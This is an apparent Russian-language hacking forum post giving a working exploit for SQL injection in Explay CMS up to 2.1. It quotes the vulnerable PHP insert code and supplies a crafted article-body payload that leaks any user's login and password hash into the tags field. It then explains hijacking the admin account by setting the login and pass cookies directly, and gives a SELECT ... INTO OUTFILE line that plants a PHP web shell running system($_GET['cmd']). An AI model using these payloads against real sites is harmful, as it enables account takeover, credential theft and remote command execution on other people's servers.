|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
[Explay CMS <= 2.1] SQL Injection
[Explay CMS <= 2.1] SQL Injection
Уязвимость позволяет получить хэш пароля любого пользователя.
Экслуатация уязвимости возможна при отключённой PHP-директиве magic_quotes_gpc.
Для получение пароля необходимо добавить статью ( http://[explay]/my_articles/add/) с кодом специально сформированного SQL-запроса в поле art_body (то есть основной текст статьи).
Код добавления новой статьи:
modules/articles/mysql.class.php
PHP код:
public function add_article ($art) {
$this->db->query ("INSERT INTO ".DB_PEREFIX."_articles VALUES (
0,
'".$art['art_category']."',
'".$art['art_header']."',
'".$art['art_body']."',
'".User::$properties['user_id']."',
'".time()."',
'".$art['art_comments']."',
'',
'',
'".$art['art_publik']."',
'no',
'".$art['art_visible']."',
'".$art['art_tags']."',
'0',
'',
'0',
'".$art['auto_tag']."'
)");
Составляем ядовитый "текст" статьи:
PHP код:
aaaaa',
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'),
'1228445451',
'on',
'',
'',
'yes',
'no',
'on',
(SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='<USER'S_LOGIN>'),
'0',
'',
'0',
'yes' )/*
Подзапрос
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>')
нужен для того, чтобы статья добавилась именно от нашего имени (так как узнать свой user_id не позволяет движок)
В итоге выполнится вот такой запрос:
PHP код:
INSERT INTO expl_articles VALUES ( 0,
'',
'some_title',
'aaaaa',
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'),
'1228445451',
'on',
'',
'',
'yes',
'no',
'on',
(SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='<USER'S_LOGIN>'),
'0',
'',
'0',
'yes' )
Результат вложенного запроса добавиться в виде " login: password" в поле Теги, например
admin:012ce7449da5b5afb89db5f32810946ea94098e6
Но тут есть одна тонкость. Пароли могут шифроваться разными алгоритмами:
PHP код:
function expl_hash($str) {
if (function_exists('sha1'))
return sha1($str);
elseif (function_exists('mhash'))
return bin2hex(mhash(MHASH_SHA1, $str));
else
return md5($str);
}
Тип хеша лекго определить по длине строки. (MD5 - 32 байта, SHA1 - 40 байт).
К великому счастью, в движке авторизация пользователя реализована только через Cookies, так что мы можем не брутить хэш, а просто создать куки login и pass с соответствующими значениями. Теперь мы админы.
Getting shell
Но это ещё не всё! Встроенный в админку интерфейс для выполнения произвольных SQL-запросов позволяет нам создать шелл (при условии включённого file_priv):
PHP код:
SELECT '<?php system($_GET["cmd"]) ?>' INTO OUTFILE 'путь_к_движку/shell.php'
Последний раз редактировалось [x26]VOLAND; 03.01.2009 в 18:53..
|